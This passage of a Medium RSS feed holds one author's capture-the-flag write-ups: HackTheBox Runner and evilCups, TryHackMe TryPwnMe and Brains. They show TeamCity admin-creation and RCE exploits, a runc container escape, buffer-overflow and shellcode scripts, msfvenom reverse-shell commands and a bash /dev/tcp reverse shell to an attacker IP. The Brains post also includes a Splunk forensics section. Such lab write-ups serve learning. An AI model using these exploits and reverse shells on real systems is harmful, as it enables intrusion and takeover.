{Yellow}{self.url}/login.html {Green}[{uname}:@H454NSec]{Color_Off}&quot;)<br>                with open(&quot;vulnerable.txt&quot;, &quot;a&quot;) as o:<br>                    o.write(f&quot;[{uname}:@H454NSec] {self.url}\n&quot;)<br>        except Exception as err:<br>            pass</pre><p>Translating this to a curl command looks something like this:</p><pre>─$ curl -ik http://teamcity.runner.htb/app/rest/users -X POST -H &quot;Content-Type: application/json&quot; --data &quot;{\&quot;username\&quot;: \&quot;attacker\&quot;, \&quot;password\&quot;: \&quot;attacker\&quot;, \&quot;email\&quot;: \&quot;attacker\&quot;, \&quot;roles\&quot;: {\&quot;role\&quot;: [{\&quot;roleId\&quot;: \&quot;SYSTEM_ADMIN\&quot;, \&quot;scope\&quot;: \&quot;g\&quot;}]}}&quot; -H &quot;Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.M285T0NYRlM3MTJ0MTI4WUltdi1IU3FqQU5Z.MTY3ZDBiMTAtZDRlNS00YzMxLTgzZWQtYjRlZWFiZTBkYTli&quot;</pre><pre>HTTP/1.1 200 <br>Server: nginx/1.18.0 (Ubuntu)<br>Date: Tue, 08 Oct 2024 15:36:32 GMT<br>Content-Type: application/xml<br>Content-Length: 661<br>Connection: keep-alive<br>TeamCity-Node-Id: MAIN_SERVER<br>Cache-Control: no-store<br><br>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; standalone=&quot;yes&quot;?&gt;&lt;user username=&quot;attacker&quot; id=&quot;17&quot; email=&quot;asdf&quot; href=&quot;/app/rest/users/id:17&quot;&gt;&lt;properties count=&quot;3&quot; href=&quot;/app/rest/users/id:17/properties&quot;&gt;&lt;property name=&quot;addTriggeredBuildToFavorites&quot; value=&quot;true&quot;/&gt;&lt;property name=&quot;plugin:vcs:anyVcs:anyVcsRoot&quot; value=&quot;attacker&quot;/&gt;&lt;property name=&quot;teamcity.server.buildNumber&quot; value=&quot;129390&quot;/&gt;&lt;/properties&gt;&lt;roles&gt;&lt;role roleId=&quot;SYSTEM_ADMIN&quot; scope=&quot;g&quot; href=&quot;/app/rest/users/id:17/roles/SYSTEM_ADMIN/g&quot;/&gt;&lt;/roles&gt;&lt;groups count=&quot;1&quot;&gt;&lt;group key=&quot;ALL_USERS_GROUP&quot; name=&quot;All Users&quot; href=&quot;/app/rest/userGroups/key:ALL_USERS_GROUP&quot; description=&quot;Contains all TeamCity users&quot;/&gt;&lt;/groups&gt;&lt;/user&gt;     </pre><p>Now we can use attacker:attacker to log in. Inside the administration dashboard, we find a backup function. The description says that it also dumps the database, which should be interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tge2MJnqR5Tmpif6EMbZFA.png" /></figure><p>Download the zip and unpack it. Checking the dump, there are hashed passwords and usernames in the users file.</p><pre>└─$ cat users        <br>ID, USERNAME, PASSWORD, NAME, EMAIL, LAST_LOGIN_TIMESTAMP, ALGORITHM<br>1, admin, $2a$07$neV5T/BlEDiMQUs.gM1p4uYl8xl8kvNUo4/8Aja2sAWHAQLWqufye, John, john@runner.htb, 1728401791996, BCRYPT<br>2, matthew, $2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em, Matthew, matthew@runner.htb, 1709150421438, BCRYPT<br>11, djbg0mah, $2a$07$hjj2cvGtKQoY2Ig1Zahpt.brDAS96jf0vrUOM1lCu4..2MnR4bKvm, , djbg0mah@example.com, 1728390646806, BCRYPT<br>12, 7yvpcbpd, $2a$07$LnYru2oV3lktMcOPyeD43.A.tzYGkrFS59LjkMMI4/A9YzMdFQ3b., , 7yvpcbpd@example.com, 1728390687105, BCRYPT<br>13, hlumthxs, $2a$07$Ku/KdX/O8yXlJ6Wg.JemUeddhAWWQOtNovh2EcsytcsEX1F5M38PC, , hlumthxs@example.com, 1728390790626, BCRYPT<br>14, cl7bwxbx, $2a$07$ozGEnTz2LnmpfcpwVojo0.ViZHaUATA5DS74HDGgtXcOQ868yRKCG, , cl7bwxbx@example.com, 1728391657104, BCRYPT<br>15, 1u74pq7g, $2a$07$7UbwoOxjRWcH1m4u3opAyuEduHaPl8xhROYMTszUFRv7YXWdnSyqq, , 1u74pq7g@example.com, 1728393158474, BCRYPT<br>16, 6un0js3c, $2a$07$cjB0LYk3UP3P98GMfJljsO6NviWG3QlnSM6K4dY0prGQg.kyn.vSm, , 6un0js3c@example.com, 1728393171618, BCRYPT</pre><p>You can start hashcat in mode 3200 to crack thos while enumerating the system further.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*io474ozEVQ6DKWcl7lxygw.png" /></figure><p>Something else we can find in the files, is a private ssh key in backup/config/projects/AllProjects/pluginData/ssh_keys.</p><p>There is no indication whom this key belongs to, but we have some usernames from the db to try: Matthew, admin, john and some letter/number combinations. Using chmod 600 on the key and trying the usernames results in a ssh connection as john.</p><h3>Root</h3><p>I ran linpeas, which showed a subdomain I’ve missed before.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*VtVGUKBQcQO-vToajYqLAA.png" /></figure><p>In the meantime, hashcat found a password for matthew: piper123. Adding this to /etc/hosts aswell allows us to access this page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/546/1*_5x3m_cMZ5_Yt5RkaRcIUw.png" /></figure><p>Johns credentials don’t work here, but the matthews do!</p><p>In the bottom left, we can find the version:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/436/1*4JLbg9TfJXMdrm6PREcBKQ.png" /></figure><p>But this is where I got stuck for a good while. I couldn’t find any CVEs for this portainer version. So I went back and tried to exploit docker itself instead. John doesn’t have permissions to run docker commands, but maybe this is where portainer comes into play. Looking for ‘docker CVE 2024’ brought me to this page (by far not the first one I checked):<br><a href="https://scout.docker.com/vulnerabilities/id/CVE-2024-21626">https://scout.docker.com/vulnerabilities/id/CVE-2024-21626</a></p><blockquote>In runc 1.1.11 and earlier, due to an internal file descriptor leak, an attacker could cause a newly-spawned container process (from `runc exec`) to have a working directory in the host filesystem namespace, allowing for a container escape by giving access to the host filesystem (“attack 2”). The same attack could be used by a malicious image to allow a container process to gain access to the host filesystem through `runc run` (“attack 1”). Variants of attacks 1 and 2 could be also be used to overwrite semi-arbitrary host binaries, allowing for complete container escapes (“attack 3a” and “attack 3b”).</blockquote><p>Running runc — version:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/433/1*2n8GjKSxLlelK3VXOFtrdw.png" /></figure><p>So let’s create a new container. Checking images shows 2, so let’s use ubuntu:lastest for the new image.</p><blockquote>however a malicious image could make any innocuous-looking non-`/` path a symlink to `/proc/self/fd/7/` and thus trick a user into starting a container whose binary has access to the host filesystem.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6qSWTd5dhTVlnkeKaKp_oA.png" /></figure><p>This failed tho. But I was sure that we should be able to abuse this runc version. After some more reading, I found another blog where they set the working dir to /proc/self/fd/8 instead of 7. This let me start the container. But I could access the shell only after restarting the box so make sure you do this if you have trouble at this step. Also, turn off all options at the top half. Finally, we can read the root flag after going up several dirs:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rx1iIMlGI2RWAk_f81UgMA.png" /></figure><h3>Conclusion</h3><p>This root part was rough. This took me a good while, especially with problems when starting the console. In general, this box took a lot of try and error. But I’m sure this is just because of my lacking understanding. Others might have had an easier time. <br>Anyway, thanks for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=114f090bbf7a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryPwnMe (tryhackme) writeup - part 1]]></title>
            <link>https://medium.com/@stray0x1/trypwnme-tryhackme-writeup-part-1-d92f0f1bed2e?source=rss-a1fe203a0af2------2</link>
            <guid isPermaLink="false">https://medium.com/p/d92f0f1bed2e</guid>
            <category><![CDATA[trypwnme]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[trypwnme-tryhackme]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[stray0x1]]></dc:creator>
            <pubDate>Sat, 05 Oct 2024 20:33:19 GMT</pubDate>
            <atom:updated>2024-10-05T20:33:19.421Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*a2uaWhBqdodoqlOYAFrHzw.png" /></figure><p>This is part 1 of a x part writeup. Binary exploitation comes with A LOT of reading. Therefore this took my quite a while. This is how far I got on a saturday afternoon.</p><p>Today we’re diving into a — to me — very fascinating aspect of cybersecurity. Binary exploitation. Thus far, I’ve only done some basic buffer overflows and race conditions. So let’s see what this room has to offer. Download the task files and let’s get into it.<br>Disclaimer: This writeup also shows some errors and faulty assumptions I made while doing this room. I hope this helps you to build a better understanding of why I did what I did and prevent you from doing the same mistakes I did, in the future.</p><h3>TryOverflowMe 1</h3><p>We’re given the code of the binary we’re about to exploit:</p><pre>int main(){<br>    setup();<br>    banner();<br>    int admin = 0;<br>    char buf[0x10];<br><br>    puts(&quot;PLease go ahead and leave a comment :&quot;);<br>    gets(buf);<br><br>    if (admin){<br>        const char* filename = &quot;flag.txt&quot;;<br>        FILE* file = fopen(filename, &quot;r&quot;);<br>        char ch;<br>        while ((ch = fgetc(file)) != EOF) {<br>            putchar(ch);<br>    }<br>    fclose(file);<br>    }<br><br>    else{<br>        puts(&quot;Bye bye\n&quot;);<br>        exit(1);<br>    }<br>}</pre><p>What does the binary look like when executed?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*D54n0QJ39D0AquVOdW_G5g.png" /></figure><p>We can leave a comment. Reading the code shows that there is a variable called admin, which is set to zero. If this variable would be set to 1, which doesn’t happen in the natural flow of the program, it would open flag.txt and print the outputs. The buffer for the comment is 0x10, meaning 16 bytes long. Since buff is called after admin, the layout in the stack will look similar to this:</p><pre>+------------------+ &lt;- Lower memory address<br>|     admin        |  (4 bytes)<br>+------------------+<br>|     buf[16]      |  (16 bytes)<br>+------------------+ &lt;- Higher memory address</pre><p>This is because the stack grows *downward*. The stack starts at a high memory address and assigns memory towards lower addresses. This means, that any char we put into the comment after 16 chars will flow over to ‘admin’. I tried setting the admin variable to 1 with this payload:</p><pre>AAAAAAAAAAAAAAAA\x01\x00\x00\x00</pre><p>Which didn’t work, let’s investigate why. Start pwngdb. Now set a breakpoint for main:</p><pre>b main<br>run overflowme1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RmWuRH4NB4W8R-tQ_8zOIw.png" /></figure><p>Remember that admin = 0, you can see that mov dword prt [rbp -4], 0 assigns the value 0 to address rbp -4.<br>Our input is saved at rbp — 0x30<br>Now that we know both offsets, we can see why we failed, we got some padding. ‘0x30’ (hex) is equal to 48 in decimal, so we know that admin is 48–4 = 44 bytes higher in memory. Meaning that our payload should look like this:<br>16 bytes of input (let’s go with “A”)<br>28 bytes of whatever to fill the padding (let’s go also go with “A”s for this one, doesn’t matter)<br>\x01\x00\x00\x00 to set admin to 1 (little endian format, meaning the least significant bit is leftmost)</p><p>So our final payload looks like this:</p><pre>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x01\x00\x00\x00</pre><p>We could simply use nc to connect to the port and enter this manually, but this room tells us to use pwntools for python. And since I barely used this, let’s get some practice. First, create a venv and install pwn</p><pre>python3 -m venv venv<br>source venv/bin/activate<br>pip install pwn</pre><p>Starting of with a shebang and import, I want to provide the ip and port in the commandline rather than hardcoding them, so I use argparse.</p><pre>#!/usr/bin/python3<br><br>from pwn import *<br>import argparse</pre><p>Now we have to set up the parser, add some flags and parse the input.</p><pre>#parse commandline args<br>parser = argparse.ArgumentParser()<br>parser.add_argument(&quot;-i&quot;, &quot;--ip&quot;, help=&quot;IP of target&quot;)<br>parser.add_argument(&quot;-p&quot;, &quot;--port&quot;, help=&quot;target port&quot;)<br>args = parser.parse_args()</pre><p><a href="https://docs.pwntools.com/en/stable/intro.html">https://docs.pwntools.com/en/stable/intro.html</a><br>Now we can use the remote function of pwn to establish a connection. We need to include the newline character, otherwise we would finish receiving too early and print a newline character.</p><pre>#connect and wait for the right moment to send the payload<br>conn = remote(args.ip, args.port)<br>conn.recvuntil(b&#39;Please go ahead and leave a comment :\n&#39;, drop = False)</pre><p>We want to send raw bytes not unicode, so we need to include ‘b’ infront of the string we’re sending. Then we send the payload and decode the response to make it nice and clean.</p><pre>#send payload and receive response<br>payload = b&#39;A&#39; * 44 + b&#39;\x01\x00\x00\x00&#39;<br>conn.sendline(payload)<br>print(conn.recvline().decode())</pre><p>So the complete exploit looks like this:</p><pre>#!/usr/bin/python3<br><br>from pwn import *<br>import argparse<br><br>#parse commandline args<br>parser = argparse.ArgumentParser()<br>parser.add_argument(&quot;-i&quot;, &quot;--ip&quot;, help=&quot;IP of target&quot;)<br>parser.add_argument(&quot;-p&quot;, &quot;--port&quot;, help=&quot;target port&quot;)<br>args = parser.parse_args()<br><br>#connect and wait for the right moment to send the payload<br>conn = remote(args.ip, args.port)<br>conn.recvuntil(b&#39;Please go ahead and leave a comment :\n&#39;, drop = False)<br><br>#send payload and receive response<br>payload = b&#39;A&#39; * 44 + b&#39;\x01\x00\x00\x00&#39;<br>conn.sendline(payload)<br>print(conn.recvline().decode())</pre><p>This gives us the flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*cvcr1FBwulFD4VkU7kJpjg.png" /></figure><h3>TryOverflowMe 2</h3><p>We’re given the code of the binary again:</p><pre>int read_flag(){<br>        const char* filename = &quot;flag.txt&quot;;<br>        FILE* file = fopen(filename, &quot;r&quot;);<br>        if(!file){<br>            puts(&quot;the file flag.txt is not in the current directory, please contact support\n&quot;);<br>            exit(1);<br>        }<br>        char ch;<br>        while ((ch = fgetc(file)) != EOF) {<br>        putchar(ch);<br>    }<br>    fclose(file);<br>}<br><br>int main(){<br>    <br>    setup();<br>    banner();<br>    int admin = 0;<br>    int guess = 1;<br>    int check = 0;<br>    char buf[64];<br><br>    puts(&quot;Please Go ahead and leave a comment :&quot;);<br>    gets(buf);<br><br>    if (admin==0x59595959){<br>            read_flag();<br>    }<br><br>    else{<br>        puts(&quot;Bye bye\n&quot;);<br>        exit(1);<br>    }<br>}</pre><p>This challenge seems to follow a similar direction, but this time admin has to be `0x59595959` (the number 1499027801). Executing it looks very similar:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/482/1*kRaVZ8crVc-qYO0_hJN4kQ.png" /></figure><p>Following the methodology we’re developed in tryoverflowme1, we set the breakpoint to main again and check the disassembled code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*kF2pbhqtJkOOOIOFvR7z7g.png" /></figure><p>Admin has the address rbp -4, guess = rbp — 8, check = rbp — 0xc and finally our buffer that we’re going to overflow has the relative address rbp — 0x50. The buffer has a size of 64 byte this time, 0x50 is 80 in decimal. So this time, we’re 80–4 = 76 bytes away from the start of the admin variable. Also, we need to set admin to 0x59595959.</p><p>Let’s copy the exploit we wrote in challenge 1 and adapt it. We just have to change the number of “A” we’re sending to 76 and change the payload we want to write into admin to \x59\x59\x59\x59</p><pre>from pwn import *<br>import argparse<br><br>#parse commandline args<br>parser = argparse.ArgumentParser()<br>parser.add_argument(&quot;-i&quot;, &quot;--ip&quot;, help=&quot;IP of target&quot;)<br>parser.add_argument(&quot;-p&quot;, &quot;--port&quot;, help=&quot;target port&quot;)<br>args = parser.parse_args()<br><br>#connect and wait for the right moment to send the payload<br>conn = remote(args.ip, args.port)<br>conn.recvuntil(b&#39;Please go ahead and leave a comment :\n&#39;, drop = False)<br><br>#send payload and receive response<br>payload = b&#39;A&#39; * 76 + b&#39;\x59\x59\x59\x59&#39;<br>conn.sendline(payload)<br>print(conn.recvline().decode())</pre><p>Executing this with the new port prints the next flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*yf03Bj7kDMnxlZBRuy1aKg.png" /></figure><h3>TryExecMe</h3><pre>int main(){<br>    setup();<br>    banner();<br>    char *buf[128];   <br><br>    puts(&quot;\nGive me your shell, and I will execute it: &quot;);<br>    read(0,buf,sizeof(buf));<br>    puts(&quot;\nExecuting Spell...\n&quot;);<br><br>    ( ( void (*) () ) buf) ();<br><br>}</pre><p>We’re assigning a buffer of 128 bytes some memory. Then this buffer is read.</p><p>( ( void (*) () ) buf) ();</p><p>This line is a function pointer to buf, so it’s just executing whatever we provide it. So we can simply generate some shellcode with msfvenom and this binary will execute it. The only constraint we’re facing is that this shellcode has to be 128 bytes or smaller.</p><pre>msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.11.72.104 LPORT=9001 -f c</pre><p>This generates a payload which is 74 bytes big. This should work.</p><p>Let’s adapt our previous exploit. First we have to change the string we’re waiting for before sending:</p><pre>conn.recvuntil(b&#39;Give me your shell, and I will execute it:\n&#39;, drop = False)</pre><p>To keep things readable and because this seemed to be common practice from other buffer overflows I’ve see, we split the lines for the payload like this:</p><pre>payload = b&#39;&#39;<br>payload +=b&quot;\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97&quot;<br>payload +=b&quot;\x48\xb9\x02\x00\x23\x29\x0a\x0b\x48\x68\x51\x48\x89\xe6&quot;<br>payload +=b&quot;\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce&quot;<br>payload +=b&quot;\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f&quot;<br>payload +=b&quot;\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48&quot;<br>payload +=b&quot;\x89\xe6\x0f\x05&quot;</pre><p>So the whole exploit looks like this:</p><pre>#!/usr/bin/python3<br><br>from pwn import *<br>import argparse<br><br>#parse commandline args<br>parser = argparse.ArgumentParser()<br>parser.add_argument(&quot;-i&quot;, &quot;--ip&quot;, help=&quot;IP of target&quot;)<br>parser.add_argument(&quot;-p&quot;, &quot;--port&quot;, help=&quot;target port&quot;)<br>args = parser.parse_args()<br><br>#connect and wait for the right moment to send the payload<br>conn = remote(args.ip, args.port)<br>conn.recvuntil(b&#39;Give me your shell, and I will execute it:\n&#39;, drop = False)<br><br>#send payload and receive response<br>payload = b&#39;&#39;<br>payload +=b&quot;\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97&quot;<br>payload +=b&quot;\x48\xb9\x02\x00\x23\x29\x0a\x0b\x48\x68\x51\x48\x89\xe6&quot;<br>payload +=b&quot;\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce&quot;<br>payload +=b&quot;\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f&quot;<br>payload +=b&quot;\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48&quot;<br>payload +=b&quot;\x89\xe6\x0f\x05&quot;<br>conn.sendline(payload)<br>print(conn.recvline().decode())</pre><p>But sending a revshell doesn’t work. I got confused here for a minute. Maybe the box blocks this outgoing connection? We could also try to make the connection we’re setting up in the first place the shell. So let’s go with this approach.<br>After reading A LOT, i found the shellcraft module of pwnlibs. This has the function asm(shellcraft.sh()) which we can use to spawn a shell. I tried this and spawned a shell, but couldn’t execute commands due to a EOF error. I was able to fix this with specifying the arch before generating the shellcode. This was neccessary even though I specified amd64 in the shellcraft command. The final exploit looks like this:</p><pre>#!/usr/bin/python3<br><br>from pwn import *<br>import argparse<br><br>#parse commandline args<br>parser = argparse.ArgumentParser()<br>parser.add_argument(&quot;-i&quot;, &quot;--ip&quot;, help=&quot;IP of target&quot;)<br>parser.add_argument(&quot;-p&quot;, &quot;--port&quot;, help=&quot;target port&quot;)<br>args = parser.parse_args()<br><br>#connect and wait for the right moment to send the payload<br>conn = remote(args.ip, args.port)<br>conn.recvuntil(b&#39;Give me your shell, and I will execute it: \n&#39;, drop = False)<br><br>#send payload and receive response<br>context.arch = &#39;amd64&#39;<br>shellcode = shellcraft.amd64.linux.sh()<br>conn.sendline(asm(shellcode))<br>conn.interactive()</pre><p>Now this drops us into an interactive shell and we can read flag.txt.</p><p>This is the end of part 1. I will post part 2 as soon as I get to doing the next 4 challenges. I hope you enjoyed this writeup thus far and learned something, I did for sure.</p><p>Thanks for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d92f0f1bed2e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Brains (tryhackme) writeup]]></title>
            <link>https://medium.com/@stray0x1/brains-tryhackme-writeup-a6675db39fe6?source=rss-a1fe203a0af2------2</link>
            <guid isPermaLink="false">https://medium.com/p/a6675db39fe6</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[thm]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[stray0x1]]></dc:creator>
            <pubDate>Fri, 04 Oct 2024 21:25:26 GMT</pubDate>
            <atom:updated>2024-10-07T20:28:10.497Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YV_POlUDYQzR63d5bfCXxw.png" /><figcaption><a href="https://tryhackme.com/r/room/brains">Link to room</a></figcaption></figure><p>This room has two parts, an offensive and a defensive/forensic part. First we will compromise the first machine which is very straightforward. Then we will use splunk to retrace some of the steps an attacker executed to compromise the box, achieve persistence and use his access for malicious activity. Let’s get into it.</p><h3>Offense</h3><pre>sudo nmap -sC -sV 10.10.80.76 -oN nmap -v</pre><p>This shows 3 TCP ports: 22, 80 and 50000.</p><h4>Port 80</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*KK2pFSIcuP17XiitXlvXIw.png" /></figure><p>Running gobuster didn’t show anything, so we can move on the port 5000.</p><h4>Port 50000</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/383/1*dcs2KGiEAC1uyhjydjX-Qg.png" /></figure><p>Since we are given the version of the application running, we can search for CVEs, and quickly we find CVE-2024–27198. A RCE vuln.</p><p><a href="https://github.com/W01fh4cker/CVE-2024-27198-RCE">GitHub - W01fh4cker/CVE-2024-27198-RCE: CVE-2024-27198 &amp; CVE-2024-27199 Authentication Bypass --&gt; RCE in JetBrains TeamCity Pre-2023.11.4</a></p><p>Use ‘git clone <a href="https://github.com/W01fh4cker/CVE-2024-27198-RCE">https://github.com/W01fh4cker/CVE-2024-27198-RCE</a>’ to copy this. CD into the dir and start a venv to install all required packages as per instruction:</p><pre>python -m venv my-venv<br>my-venv/bin/pip install urllib3 faker requests<br>source my-venv/bin/active</pre><p>Now we can execute the payload as shown in the screenshot:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yrs4NlPm-1gJAAdqc2OIVQ.png" /></figure><p>I tried the default webshell first, but this didn’t work. Instead of debugging this, I simply generated a reverse shell and started a listener. You can create the shell like this:</p><pre>msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.72.104 LPORT=9001 -f raw -o shell.jsp</pre><p>Now we can run this again, this time referencing the shell to be uploaded with the -f flag:</p><pre>python CVE-2024-27198-RCE.py -t http://10.10.80.76:50000 -f shell.jsp</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/195/1*stDNAGPaAKPnlco-wmCo9A.png" /></figure><p>We’re already done. You can grab the flag and shut down the first box. But there is a second part, this time from the defensive side. Let’s start the next machine.</p><h3>Defense</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TUnrZ3VvHCVdBPrc6fNw8g.png" /></figure><p>Open splunk on port 8000 to investigate this. Next we need to open the search. This is my first time using splunk, but I think it’s pretty intuitive. Basically, we need a source for our search a query to search for. The source can be very broad, like “/*” to search the whole system, although this can be a bit overwhelming when searching for not very specific input.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tl61WkUxn1uDdTdbYA38Uw.png" /></figure><h4>What is the name of the backdoor user which was created on the server after exploitation?</h4><p>This sounds like it’s asking for a backdoor user in linux, not teamcity. Let’s be broad with our source but specify what we do NOT want. Since we’re looking for a user, I decided to search for UID. Don’t forget to set the timeframe ‘All time’ on the right of the searchbar. Doing this brought up a lot of results for root, which we’re not interested in so we can filter this. This slims out results down significantly, showing us the malicious user:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5Rlt0IDxX87YQjKFHbicJA.png" /></figure><h4>What is the name of the malicious-looking package installed on the server?</h4><p>We know that there must be some kind of package installed, so we can search like this. Consider that this time we’re searching in linux. Because we searching for a package, we can be very specific with the source:</p><pre>source=&quot;/var/log/dpkg.log&quot; &quot;install&quot;</pre><p>There are quite a lot of results, but considering that this is likely the last step in the attack, we can discard any entries before the malicious user was created. Reading the packages, it’s pretty obivious which one is malicious:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/1*Y9vcNu6RM7gi-GRzLlghjA.png" /></figure><h4>What is the name of the plugin installed on the server after successful exploitation?</h4><p>This time we’re looking for a plugin in teamcity, so let’s specify the source for teamcity, which is /opt/teamcity/*. We’re looking for a plugin that was uploaded, so this should be our search term.</p><pre>source=&quot;/opt/teamcity/*&quot; &quot;plugin&quot; &quot;uploaded&quot;</pre><p>This shows us the plugin used to exploit the vuln.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iYYmHcbjrXq2oNPNoyXE8w.png" /></figure><h3>Conclusion</h3><p>Very cool room, I didn’t do a whole lot of blue team up until now but the investigating part was really fun and a nice entrypoint for someone with no prior experience with splunk, I might do some more forensic in the future.</p><p>Thanks for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a6675db39fe6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[evilCups (hackthebox) writeup]]></title>
            <link>https://medium.com/@stray0x1/evilcups-hackthebox-writeup-852be9409077?source=rss-a1fe203a0af2------2</link>
            <guid isPermaLink="false">https://medium.com/p/852be9409077</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hackthebox-walkthrough]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[stray0x1]]></dc:creator>
            <pubDate>Thu, 03 Oct 2024 18:50:18 GMT</pubDate>
            <atom:updated>2024-10-03T18:50:18.916Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/338/1*JJk_-xM26F6fGrOXbvRb8Q.png" /></figure><p>Today we’re doing a box for an exploit that made some waves in my twitter bubble. The original research goes back to evilsocket (<a href="https://x.com/evilsocket">https://x.com/evilsocket</a>). A detailed writeup about this was published: <a href="https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/">https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/</a>. There was a whole lot of disussion about the impact of the vuln, the CVSS and the reaction of the devs and CERT, but this out of scope for today, so let’s dive right in.</p><p>Start off with nmap</p><pre>sudo nmap -sC -sV 10.129.177.75 -oN nmap -v</pre><pre>PORT     STATE    SERVICE    VERSION<br>22/tcp   open     ssh        OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)<br>| ssh-hostkey: <br>|   256 36:49:95:03:8d:b4:4c:6e:a9:25:92:af:3c:9e:06:66 (ECDSA)<br>|_  256 9f:a4:a9:39:11:20:e0:96:ee:c4:9a:69:28:95:0c:60 (ED25519)<br>631/tcp  open     ipp        CUPS 2.4<br>|_http-title: Home - CUPS 2.4.2<br>8088/tcp filtered radan-http</pre><p>As expected, we find CUPS, so now is the time to read the writeup, it’s worth it. The basic chain is like this:</p><ol><li>Cups listens to all networks for new printers on a UDP port</li><li>You can simply send a packet like this `0 3 http://&lt;ATTACKER-IP&gt;:&lt;PORT&gt;/printers/whatever` to the port and CUPS will think you’re a printer</li><li>CUPS will ask for printer attributes, which you can controll</li><li>Those will be saved to a temporary PPD (<a href="https://en.wikipedia.org/wiki/PostScript_Printer_Description">https://en.wikipedia.org/wiki/PostScript_Printer_Description</a>) file. The attributes are unescaped</li><li>leverage foomatic-rip to execute commands</li></ol><p>The CUPS port we found earlier was TCP tho, so let’s check this out:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t43eyYEYK1a2w7QMnz0Bcg.png" /></figure><p>Checking the pages shows under ‘Jobs’ that there was a previous printjob. We can’t access it without credentials tho.</p><p>Looking for a poc for cups, you can either use this or the one from the github advisory page:</p><p><a href="https://github.com/pearlmansara/CVE-2024-47176-CUPS">https://github.com/pearlmansara/CVE-2024-47176-CUPS</a></p><p>Open a listener</p><p>sudo nc -lvnp 9001<br>Start the exploit:<br>python3 cups.py 10.10.14.98 10.129.177.35 ‘bash -c “/bin/bash -i &gt;&amp; /dev/tcp/10.10.14.98/9001 0&gt;&amp;1”’</p><p>Now we need to trigger this via printjob for our command to execute. Head over to printers and click on the newly added printer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oANiWq1TAo2Qwe8bJzDGXQ.png" /></figure><p>There we can start a print for a testpage</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*W_s_ABQqyT_3w8AdKyDU7A.png" /></figure><p>Which pops a shell as lp@evilcups.</p><h3>root</h3><p>First, let’s upgrade the shell</p><pre>python3 -c &#39;import pty; 